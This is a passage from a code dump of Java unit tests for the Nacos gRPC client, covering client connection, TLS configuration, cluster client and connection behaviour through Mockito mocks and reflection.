    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote.client.grpc;\n\nimport com.alibaba.nacos.api.ability.constant.AbilityMode;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.grpc.auto.BiRequestStreamGrpc;\nimport com.alibaba.nacos.api.grpc.auto.Payload;\nimport com.alibaba.nacos.api.grpc.auto.RequestGrpc;\nimport com.alibaba.nacos.api.remote.request.ConnectResetRequest;\nimport com.alibaba.nacos.api.remote.request.SetupAckRequest;\nimport com.alibaba.nacos.api.remote.response.ConnectResetResponse;\nimport com.alibaba.nacos.api.remote.response.ErrorResponse;\nimport com.alibaba.nacos.api.remote.response.Response;\nimport com.alibaba.nacos.api.remote.response.ServerCheckResponse;\nimport com.alibaba.nacos.common.remote.ConnectionType;\nimport com.alibaba.nacos.common.remote.client.Connection;\nimport com.alibaba.nacos.common.remote.client.RpcClient;\nimport com.alibaba.nacos.common.remote.client.RpcClientStatus;\nimport com.alibaba.nacos.common.remote.client.RpcClientTlsConfig;\nimport com.alibaba.nacos.common.remote.client.ServerListFactory;\nimport com.google.common.util.concurrent.ListenableFuture;\nimport io.grpc.Channel;\nimport io.grpc.ClientCall;\nimport io.grpc.ManagedChannel;\nimport io.grpc.stub.StreamObserver;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.mockito.junit.jupiter.MockitoSettings;\nimport org.mockito.quality.Strictness;\nimport org.mockito.stubbing.Answer;\n\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.util.Collections;\nimport java.util.concurrent.ExecutionException;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.TimeoutException;\nimport java.util.concurrent.atomic.AtomicReference;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyMap;\nimport static org.mockito.Mockito.doReturn;\nimport static org.mockito.Mockito.doThrow;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.never;\nimport static org.mockito.Mockito.spy;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\n// todo remove this\n@MockitoSettings(strictness = Strictness.LENIENT)\nclass GrpcClientTest {\n    \n    protected GrpcClient grpcClient;\n    \n    protected RpcClient.ServerInfo serverInfo;\n    \n    protected GrpcClientConfig clientConfig;\n    \n    @Mock\n    RpcClientTlsConfig tlsConfig;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        clientConfig = DefaultGrpcClientConfig.newBuilder().setServerCheckTimeOut(100L).setCapabilityNegotiationTimeout(100L)\n                .setChannelKeepAliveTimeout((int) TimeUnit.SECONDS.toMillis(3L)).setChannelKeepAlive(1000).setName(\"testClient\")\n                .build();\n        clientConfig.setTlsConfig(tlsConfig);\n        grpcClient = spy(new GrpcClient(clientConfig) {\n            @Override\n            protected AbilityMode abilityMode() {\n                return AbilityMode.SDK_CLIENT;\n            }\n            \n            @Override\n            public int rpcPortOffset() {\n                return 0;\n            }\n        });\n        serverInfo = new RpcClient.ServerInfo(\"10.10.10.10\", 8848);\n    }\n    \n    @AfterEach\n    void tearDown() throws NacosException {\n        grpcClient.shutdown();\n    }\n    \n    @Test\n    void testGetConnectionType() {\n        assertEquals(ConnectionType.GRPC, grpcClient.getConnectionType());\n    }\n    \n    @Test\n    void testConnectToServerFailed() {\n        assertNull(grpcClient.connectToServer(serverInfo));\n    }\n    \n    @Test\n    void testConnectToServerException() {\n        doThrow(new RuntimeException(\"test\")).when(grpcClient).createNewChannelStub(any(ManagedChannel.class));\n        assertNull(grpcClient.connectToServer(serverInfo));\n    }\n    \n    @Test\n    void testConnectToServerMockSuccess() throws ExecutionException, InterruptedException, TimeoutException {\n        RequestGrpc.RequestFutureStub stub = mockStub(new ServerCheckResponse(), null);\n        doReturn(stub).when(grpcClient).createNewChannelStub(any(ManagedChannel.class));\n        Connection connection = grpcClient.connectToServer(serverInfo);\n        assertNotNull(connection);\n        assertTrue(connection instanceof GrpcConnection);\n        assertEquals(stub, ((GrpcConnection) connection).getGrpcFutureServiceStub());\n    }\n    \n    @Test\n    void testConnectToServerMockSuccessWithAbility() throws ExecutionException, InterruptedException, TimeoutException {\n        ServerCheckResponse response = new ServerCheckResponse();\n        response.setSupportAbilityNegotiation(true);\n        RequestGrpc.RequestFutureStub stub = mockStub(response, null);\n        doReturn(stub).when(grpcClient).createNewChannelStub(any(ManagedChannel.class));\n        Connection connection = grpcClient.connectToServer(serverInfo);\n        assertNull(connection);\n    }\n    \n    @Test\n    void testConnectToServerMockHealthCheckFailed() throws ExecutionException, InterruptedException, TimeoutException {\n        RequestGrpc.RequestFutureStub stub = mockStub(null, new RuntimeException(\"test\"));\n        doReturn(stub).when(grpcClient).createNewChannelStub(any(ManagedChannel.class));\n        Connection connection = grpcClient.connectToServer(serverInfo);\n        assertNull(connection);\n    }\n    \n    private RequestGrpc.RequestFutureStub mockStub(ServerCheckResponse response, Throwable throwable)\n            throws InterruptedException, ExecutionException, TimeoutException {\n        RequestGrpc.RequestFutureStub stub = mock(RequestGrpc.RequestFutureStub.class);\n        ListenableFuture<Payload> listenableFuture = mock(ListenableFuture.class);\n        when(stub.request(any(Payload.class))).thenReturn(listenableFuture);\n        if (null == throwable) {\n            when(listenableFuture.get(100L, TimeUnit.MILLISECONDS)).thenReturn(GrpcUtils.convert(response));\n        } else {\n            when(listenableFuture.get(100L, TimeUnit.MILLISECONDS)).thenThrow(throwable);\n        }\n        Channel channel = mock(Channel.class);\n        when(stub.getChannel()).thenReturn(channel);\n        ClientCall mockCall = mock(ClientCall.class);\n        when(channel.newCall(any(), any())).thenReturn(mockCall);\n        return stub;\n    }\n    \n    @Test\n    void testBindRequestStreamOnNextSetupAckRequest()\n            throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {\n        BiRequestStreamGrpc.BiRequestStreamStub stub = mock(BiRequestStreamGrpc.BiRequestStreamStub.class);\n        GrpcConnection grpcConnection = mock(GrpcConnection.class);\n        when(stub.requestBiStream(any())).thenAnswer((Answer<StreamObserver<Payload>>) invocationOnMock -> {\n            ((StreamObserver<Payload>) invocationOnMock.getArgument(0)).onNext(GrpcUtils.convert(new SetupAckRequest()));\n            return null;\n        });\n        setCurrentConnection(grpcConnection, grpcClient);\n        invokeBindRequestStream(grpcClient, stub, grpcConnection);\n        verify(grpcConnection, never()).sendResponse(any(Response.class));\n    }\n    \n    @Test\n    void testBindRequestStreamOnNextOtherRequest()\n            throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {\n        BiRequestStreamGrpc.BiRequestStreamStub stub = mock(BiRequestStreamGrpc.BiRequestStreamStub.class);\n        GrpcConnection grpcConnection = mock(GrpcConnection.class);\n        when(stub.requestBiStream(any())).thenAnswer((Answer<StreamObserver<Payload>>) invocationOnMock -> {\n            ((StreamObserver<Payload>) invocationOnMock.getArgument(0)).onNext(GrpcUtils.convert(new ConnectResetRequest()));\n            return null;\n        });\n        grpcClient.registerServerRequestHandler((request, connection) -> {\n            if (request instanceof ConnectResetRequest) {\n                return new ConnectResetResponse();\n            }\n            return null;\n        });\n        setCurrentConnection(grpcConnection, grpcClient);\n        invokeBindRequestStream(grpcClient, stub, grpcConnection);\n        verify(grpcConnection).sendResponse(any(ConnectResetResponse.class));\n    }\n    \n    @Test\n    void testBindRequestStreamOnNextNoRequest()\n            throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {\n        BiRequestStreamGrpc.BiRequestStreamStub stub = mock(BiRequestStreamGrpc.BiRequestStreamStub.class);\n        GrpcConnection grpcConnection = mock(GrpcConnection.class);\n        when(stub.requestBiStream(any())).thenAnswer((Answer<StreamObserver<Payload>>) invocationOnMock -> {\n            ((StreamObserver<Payload>) invocationOnMock.getArgument(0)).onNext(GrpcUtils.convert(new ConnectResetRequest()));\n            return null;\n        });\n        grpcClient.registerServerRequestHandler((request, connection) -> null);\n        setCurrentConnection(grpcConnection, grpcClient);\n        invokeBindRequestStream(grpcClient, stub, grpcConnection);\n        verify(grpcConnection, never()).sendResponse(any(Response.class));\n    }\n    \n    @Test\n    void testBindRequestStreamOnNextHandleException()\n            throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {\n        BiRequestStreamGrpc.BiRequestStreamStub stub = mock(BiRequestStreamGrpc.BiRequestStreamStub.class);\n        GrpcConnection grpcConnection = mock(GrpcConnection.class);\n        when(stub.requestBiStream(any())).thenAnswer((Answer<StreamObserver<Payload>>) invocationOnMock -> {\n            ((StreamObserver<Payload>) invocationOnMock.getArgument(0)).onNext(GrpcUtils.convert(new ConnectResetRequest()));\n            return null;\n        });\n        grpcClient.registerServerRequestHandler((request, connection) -> {\n            throw new RuntimeException(\"test\");\n        });\n        setCurrentConnection(grpcConnection, grpcClient);\n        invokeBindRequestStream(grpcClient, stub, grpcConnection);\n        verify(grpcConnection).sendResponse(any(ErrorResponse.class));\n    }\n    \n    @Test\n    void testBindRequestStreamOnNextParseException()\n            throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {\n        BiRequestStreamGrpc.BiRequestStreamStub stub = mock(BiRequestStreamGrpc.BiRequestStreamStub.class);\n        GrpcConnection grpcConnection = mock(GrpcConnection.class);\n        when(stub.requestBiStream(any())).thenAnswer((Answer<StreamObserver<Payload>>) invocationOnMock -> {\n            ((StreamObserver<Payload>) invocationOnMock.getArgument(0)).onNext(Payload.newBuilder().build());\n            return null;\n        });\n        setCurrentConnection(grpcConnection, grpcClient);\n        invokeBindRequestStream(grpcClient, stub, grpcConnection);\n        verify(grpcConnection, never()).sendResponse(any(ErrorResponse.class));\n    }\n    \n    @Test\n    void testBindRequestStreamOnErrorFromRunning()\n            throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {\n        BiRequestStreamGrpc.BiRequestStreamStub stub = mock(BiRequestStreamGrpc.BiRequestStreamStub.class);\n        GrpcConnection grpcConnection = mock(GrpcConnection.class);\n        when(stub.requestBiStream(any())).thenAnswer((Answer<StreamObserver<Payload>>) invocationOnMock -> {\n            ((StreamObserver<Payload>) invocationOnMock.getArgument(0)).onError(new RuntimeException(\"test\"));\n            return null;\n        });\n        setStatus(grpcClient, RpcClientStatus.RUNNING);\n        setCurrentConnection(grpcConnection, grpcClient);\n        assertTrue(grpcClient.isRunning());\n        invokeBindRequestStream(grpcClient, stub, grpcConnection);\n        assertFalse(grpcClient.isRunning());\n    }\n    \n    @Test\n    void testBindRequestStreamOnErrorFromNotRunning()\n            throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {\n        BiRequestStreamGrpc.BiRequestStreamStub stub = mock(BiRequestStreamGrpc.BiRequestStreamStub.class);\n        GrpcConnection grpcConnection = mock(GrpcConnection.class);\n        when(stub.requestBiStream(any())).thenAnswer((Answer<StreamObserver<Payload>>) invocationOnMock -> {\n            ((StreamObserver<Payload>) invocationOnMock.getArgument(0)).onError(new RuntimeException(\"test\"));\n            return null;\n        });\n        setStatus(grpcClient, RpcClientStatus.WAIT_INIT);\n        setCurrentConnection(grpcConnection, grpcClient);\n        assertFalse(grpcClient.isRunning());\n        assertTrue(grpcClient.isWaitInitiated());\n        invokeBindRequestStream(grpcClient, stub, grpcConnection);\n        assertFalse(grpcClient.isRunning());\n        assertTrue(grpcClient.isWaitInitiated());\n    }\n    \n    @Test\n    void testBindRequestStreamOnCompletedFromRunning()\n            throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {\n        BiRequestStreamGrpc.BiRequestStreamStub stub = mock(BiRequestStreamGrpc.BiRequestStreamStub.class);\n        GrpcConnection grpcConnection = mock(GrpcConnection.class);\n        when(stub.requestBiStream(any())).thenAnswer((Answer<StreamObserver<Payload>>) invocationOnMock -> {\n            ((StreamObserver<Payload>) invocationOnMock.getArgument(0)).onCompleted();\n            return null;\n        });\n        setStatus(grpcClient, RpcClientStatus.RUNNING);\n        setCurrentConnection(grpcConnection, grpcClient);\n        assertTrue(grpcClient.isRunning());\n        invokeBindRequestStream(grpcClient, stub, grpcConnection);\n        assertFalse(grpcClient.isRunning());\n    }\n    \n    @Test\n    void testBindRequestStreamOnCompletedFromNotRunning()\n            throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {\n        BiRequestStreamGrpc.BiRequestStreamStub stub = mock(BiRequestStreamGrpc.BiRequestStreamStub.class);\n        GrpcConnection grpcConnection = mock(GrpcConnection.class);\n        when(stub.requestBiStream(any())).thenAnswer((Answer<StreamObserver<Payload>>) invocationOnMock -> {\n            ((StreamObserver<Payload>) invocationOnMock.getArgument(0)).onCompleted();\n            return null;\n        });\n        setStatus(grpcClient, RpcClientStatus.WAIT_INIT);\n        setCurrentConnection(grpcConnection, grpcClient);\n        assertFalse(grpcClient.isRunning());\n        assertTrue(grpcClient.isWaitInitiated());\n        invokeBindRequestStream(grpcClient, stub, grpcConnection);\n        assertFalse(grpcClient.isRunning());\n        assertTrue(grpcClient.isWaitInitiated());\n    }\n    \n    private void invokeBindRequestStream(GrpcClient grpcClient, BiRequestStreamGrpc.BiRequestStreamStub stub,\n            GrpcConnection grpcConnection) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {\n        Method bindRequestStreamMethod = GrpcClient.class.getDeclaredMethod(\"bindRequestStream\",\n                BiRequestStreamGrpc.BiRequestStreamStub.class, GrpcConnection.class);\n        bindRequestStreamMethod.setAccessible(true);\n        bindRequestStreamMethod.invoke(grpcClient, stub, grpcConnection);\n    }\n    \n    private void setCurrentConnection(GrpcConnection connection, GrpcClient client)\n            throws NoSuchFieldException, IllegalAccessException {\n        Field connectionField = RpcClient.class.getDeclaredField(\"currentConnection\");\n        connectionField.setAccessible(true);\n        connectionField.set(client, connection);\n    }\n    \n    private void setStatus(GrpcClient grpcClient, RpcClientStatus status) throws IllegalAccessException, NoSuchFieldException {\n        Field statusField = RpcClient.class.getDeclaredField(\"rpcClientStatus\");\n        statusField.setAccessible(true);\n        statusField.set(grpcClient, new AtomicReference<>(status));\n    }\n    \n    @Test\n    void testAfterReset() throws NoSuchFieldException, IllegalAccessException {\n        Field recAbilityContextField = GrpcClient.class.getDeclaredField(\"recAbilityContext\");\n        recAbilityContextField.setAccessible(true);\n        GrpcClient.RecAbilityContext context = mock(GrpcClient.RecAbilityContext.class);\n        recAbilityContextField.set(grpcClient, context);\n        grpcClient.afterReset(new ConnectResetRequest());\n        verify(context).release(null);\n    }\n    \n    @Test\n    void testAppendRecAbilityContext() {\n        GrpcClient.RecAbilityContext context = new GrpcClient.RecAbilityContext(null);\n        GrpcConnection connection = mock(GrpcConnection.class);\n        context.reset(connection);\n        assertTrue(context.isNeedToSync());\n        assertFalse(context.check(connection));\n        context.release(Collections.emptyMap());\n        assertFalse(context.isNeedToSync());\n        verify(connection).setAbilityTable(anyMap());\n        when(connection.isAbilitiesSet()).thenReturn(true);\n        assertTrue(context.check(connection));\n    }\n    \n    @Test\n    void testSendResponseWithException()\n            throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, NoSuchFieldException {\n        GrpcConnection connection = mock(GrpcConnection.class);\n        setCurrentConnection(connection, grpcClient);\n        doThrow(new RuntimeException(\"test\")).when(connection).sendResponse(any(Response.class));\n        Method sendResponseMethod = GrpcClient.class.getDeclaredMethod(\"sendResponse\", Response.class);\n        sendResponseMethod.setAccessible(true);\n        sendResponseMethod.invoke(grpcClient, new ConnectResetResponse());\n        // don't throw any exception.\n    }\n    \n    @Test\n    void testConstructorWithServerListFactory() {\n        ServerListFactory serverListFactory = mock(ServerListFactory.class);\n        GrpcClient grpcClient = new GrpcClient(clientConfig, serverListFactory) {\n            @Override\n            protected AbilityMode abilityMode() {\n                return null;\n            }\n            \n            @Override\n            public int rpcPortOffset() {\n                return 0;\n            }\n        };\n        assertFalse(grpcClient.isWaitInitiated());\n    }\n    \n    @Test\n    void testConstructorWithoutServerListFactory() {\n        GrpcClient grpcClient = new GrpcClient(\"testNoFactory\", 2, 2, Collections.emptyMap()) {\n            @Override\n            protected AbilityMode abilityMode() {\n                return null;\n            }\n            \n            @Override\n            public int rpcPortOffset() {\n                return 0;\n            }\n        };\n        assertTrue(grpcClient.isWaitInitiated());\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/remote/client/grpc/GrpcClientTlsTest.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote.client.grpc;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.mockito.Mockito.when;\n\n/**\n * Currently not good way to test tls relative codes, and it's a optional feature, single test first.\n */\nclass GrpcClientTlsTest extends GrpcClientTest {\n    \n    @Test\n    void testGrpcEnableTlsAndTrustPart() throws Exception {\n        when(tlsConfig.getEnableTls()).thenReturn(true);\n        when(tlsConfig.getTrustCollectionCertFile()).thenReturn(\"ca-cert.pem\");\n        when(tlsConfig.getCiphers()).thenReturn(\"ECDHE-RSA-AES128-GCM-SHA256\", \"ECDHE-RSA-AES256-GCM-SHA384\");\n        when(tlsConfig.getProtocols()).thenReturn(\"TLSv1.2,TLSv1.3\");\n        assertNull(grpcClient.connectToServer(serverInfo));\n    }\n    \n    @Test\n    void testGrpcEnableTlsAndTrustAll() throws Exception {\n        when(tlsConfig.getEnableTls()).thenReturn(true);\n        when(tlsConfig.getTrustCollectionCertFile()).thenReturn(\"ca-cert.pem\");\n        when(tlsConfig.getCiphers()).thenReturn(\"ECDHE-RSA-AES128-GCM-SHA256\", \"ECDHE-RSA-AES256-GCM-SHA384\");\n        when(tlsConfig.getProtocols()).thenReturn(\"TLSv1.2,TLSv1.3\");\n        when(tlsConfig.getTrustAll()).thenReturn(true);\n        assertNull(grpcClient.connectToServer(serverInfo));\n    }\n    \n    @Test\n    void testGrpcEnableTlsAndEnableMutualAuth() throws Exception {\n        when(tlsConfig.getEnableTls()).thenReturn(true);\n        when(tlsConfig.getTrustCollectionCertFile()).thenReturn(\"ca-cert.pem\");\n        when(tlsConfig.getCiphers()).thenReturn(\"ECDHE-RSA-AES128-GCM-SHA256\", \"ECDHE-RSA-AES256-GCM-SHA384\");\n        when(tlsConfig.getProtocols()).thenReturn(\"TLSv1.2,TLSv1.3\");\n        when(tlsConfig.getTrustAll()).thenReturn(true);\n        when(tlsConfig.getMutualAuthEnable()).thenReturn(true);\n        when(tlsConfig.getCertPrivateKey()).thenReturn(\"client-key.pem\");\n        assertNull(grpcClient.connectToServer(serverInfo));\n    }\n    \n    @Test\n    void testGrpcSslProvider() {\n        when(tlsConfig.getEnableTls()).thenReturn(true);\n        when(tlsConfig.getTrustCollectionCertFile()).thenReturn(\"ca-cert.pem\");\n        when(tlsConfig.getCiphers()).thenReturn(\"ECDHE-RSA-AES128-GCM-SHA256\", \"ECDHE-RSA-AES256-GCM-SHA384\");\n        when(tlsConfig.getProtocols()).thenReturn(\"TLSv1.2,TLSv1.3\");\n        when(tlsConfig.getTrustAll()).thenReturn(true);\n        when(tlsConfig.getMutualAuthEnable()).thenReturn(true);\n        when(tlsConfig.getCertPrivateKey()).thenReturn(\"client-key.pem\");\n        when(tlsConfig.getSslProvider()).thenReturn(\"JDK\");\n        assertNull(grpcClient.connectToServer(serverInfo));\n    }\n    \n    @Test\n    void testGrpcEmptyTrustCollectionCertFile() {\n        when(tlsConfig.getEnableTls()).thenReturn(true);\n        when(tlsConfig.getTrustCollectionCertFile()).thenReturn(\"\");\n        when(tlsConfig.getCiphers()).thenReturn(\"ECDHE-RSA-AES128-GCM-SHA256\", \"ECDHE-RSA-AES256-GCM-SHA384\");\n        when(tlsConfig.getProtocols()).thenReturn(\"TLSv1.2,TLSv1.3\");\n        assertNull(grpcClient.connectToServer(serverInfo));\n    }\n    \n    @Test\n    void testGrpcMutualAuth() {\n        when(tlsConfig.getEnableTls()).thenReturn(true);\n        when(tlsConfig.getCiphers()).thenReturn(\"ECDHE-RSA-AES128-GCM-SHA256\", \"ECDHE-RSA-AES256-GCM-SHA384\");\n        when(tlsConfig.getProtocols()).thenReturn(\"TLSv1.2,TLSv1.3\");\n        when(tlsConfig.getMutualAuthEnable()).thenReturn(true);\n        when(tlsConfig.getTrustAll()).thenReturn(true);\n        when(tlsConfig.getCertChainFile()).thenReturn(\"classpath:test-tls-cert.pem\");\n        when(tlsConfig.getCertPrivateKey()).thenReturn(\"classpath:test-tls-cert.pem\");\n        assertNull(grpcClient.connectToServer(serverInfo));\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/remote/client/grpc/GrpcClusterClientTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote.client.grpc;\n\nimport com.alibaba.nacos.api.ability.constant.AbilityMode;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Collections;\nimport java.util.Properties;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass GrpcClusterClientTest {\n    \n    GrpcClusterClient grpcClusterClient;\n    \n    @AfterEach\n    void tearDown() throws NacosException {\n        System.clearProperty(GrpcConstants.NACOS_SERVER_GRPC_PORT_OFFSET_KEY);\n        if (grpcClusterClient != null) {\n            grpcClusterClient.shutdown();\n        }\n    }\n    \n    @Test\n    void testAbilityMode() {\n        grpcClusterClient = new GrpcClusterClient(\"test\");\n        assertEquals(AbilityMode.CLUSTER_CLIENT, grpcClusterClient.abilityMode());\n    }\n    \n    @Test\n    void testRpcPortOffsetDefault() {\n        DefaultGrpcClientConfig.Builder builder = DefaultGrpcClientConfig.newBuilder()\n                .buildClusterFromProperties(new Properties());\n        grpcClusterClient = new GrpcClusterClient(builder.build());\n        assertEquals(1001, grpcClusterClient.rpcPortOffset());\n    }\n    \n    @Test\n    void testRpcPortOffsetFromSystemProperty() {\n        System.setProperty(GrpcConstants.NACOS_SERVER_GRPC_PORT_OFFSET_KEY, \"10001\");\n        grpcClusterClient = new GrpcClusterClient(\"test\", 8, 8, Collections.emptyMap());\n        assertEquals(10001, grpcClusterClient.rpcPortOffset());\n    }\n    \n    @Test\n    void testGrpcClientByConfig() {\n        GrpcClientConfig config = DefaultGrpcClientConfig.newBuilder().setName(\"test111\").build();\n        grpcClusterClient = new GrpcClusterClient(config);\n        assertEquals(\"test111\", grpcClusterClient.getName());\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/remote/client/grpc/GrpcConnectionTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote.client.grpc;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.grpc.auto.Metadata;\nimport com.alibaba.nacos.api.grpc.auto.Payload;\nimport com.alibaba.nacos.api.grpc.auto.RequestGrpc;\nimport com.alibaba.nacos.api.remote.RequestCallBack;\nimport com.alibaba.nacos.api.remote.RequestFuture;\nimport com.alibaba.nacos.api.remote.request.HealthCheckRequest;\nimport com.alibaba.nacos.api.remote.response.ErrorResponse;\nimport com.alibaba.nacos.api.remote.response.HealthCheckResponse;\nimport com.alibaba.nacos.api.remote.response.Response;\nimport com.alibaba.nacos.common.remote.PayloadRegistry;\nimport com.alibaba.nacos.common.remote.client.RpcClient;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.google.common.util.concurrent.ListenableFuture;\nimport com.google.protobuf.Any;\nimport com.google.protobuf.UnsafeByteOperations;\nimport io.grpc.ManagedChannel;\nimport io.grpc.stub.StreamObserver;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeAll;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.mockito.junit.jupiter.MockitoSettings;\nimport org.mockito.quality.Strictness;\n\nimport java.util.concurrent.CancellationException;\nimport java.util.concurrent.ExecutionException;\nimport java.util.concurrent.Executor;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.TimeoutException;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.doAnswer;\nimport static org.mockito.Mockito.doThrow;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\n// todo remove this\n@MockitoSettings(strictness = Strictness.LENIENT)\nclass GrpcConnectionTest {\n    \n    @Mock\n    ListenableFuture<Payload> future;\n    \n    Payload responsePayload;\n    \n    Payload errorResponsePayload;\n    \n    GrpcConnection connection;\n    \n    @Mock\n    private Executor executor;\n    \n    @Mock\n    private ManagedChannel channel;\n    \n    @Mock\n    private StreamObserver<Payload> payloadStreamObserver;\n    \n    @Mock\n    private RequestGrpc.RequestFutureStub requestFutureStub;\n    \n    @BeforeAll\n    static void setUpBeforeClass() {\n        PayloadRegistry.init();\n    }\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        connection = new GrpcConnection(new RpcClient.ServerInfo(), executor);\n        connection.setChannel(channel);\n        connection.setPayloadStreamObserver(payloadStreamObserver);\n        connection.setGrpcFutureServiceStub(requestFutureStub);\n        when(requestFutureStub.request(any(Payload.class))).thenReturn(future);\n        responsePayload = GrpcUtils.convert(new HealthCheckResponse());\n        errorResponsePayload = GrpcUtils.convert(ErrorResponse.build(500, \"test\"));\n        when(future.get()).thenReturn(responsePayload);\n        when(future.get(100L, TimeUnit.MILLISECONDS)).thenReturn(responsePayload);\n        when(future.isDone()).thenReturn(true);\n    }\n    \n    @AfterEach\n    void tearDown() throws Exception {\n        connection.close();\n    }\n    \n    @Test\n    void testGetAll() {\n        assertEquals(channel, connection.getChannel());\n        assertEquals(payloadStreamObserver, connection.getPayloadStreamObserver());\n        assertEquals(requestFutureStub, connection.getGrpcFutureServiceStub());\n    }\n    \n    @Test\n    void testRequestSuccessSync() throws NacosException {\n        Response response = connection.request(new HealthCheckRequest(), -1);\n        assertTrue(response instanceof HealthCheckResponse);\n    }\n    \n    @Test\n    void testRequestSuccessAsync() throws NacosException {\n        Response response = connection.request(new HealthCheckRequest(), 100);\n        assertTrue(response instanceof HealthCheckResponse);\n    }\n    \n    @Test\n    void testRequestTimeout() throws InterruptedException, ExecutionException, TimeoutException, NacosException {\n        assertThrows(NacosException.class, () -> {\n            when(future.get(100L, TimeUnit.MILLISECONDS)).thenThrow(new TimeoutException(\"test\"));\n            connection.request(new HealthCheckRequest(), 100);\n        });\n    }\n    \n    @Test\n    void testRequestFuture() throws Exception {\n        RequestFuture requestFuture = connection.requestFuture(new HealthCheckRequest());\n        assertTrue(requestFuture.isDone());\n        Response response = requestFuture.get();\n        assertTrue(response instanceof HealthCheckResponse);\n    }\n    \n    @Test\n    void testRequestFutureWithTimeout() throws Exception {\n        RequestFuture requestFuture = connection.requestFuture(new HealthCheckRequest());\n        assertTrue(requestFuture.isDone());\n        Response response = requestFuture.get(100L);\n        assertTrue(response instanceof HealthCheckResponse);\n    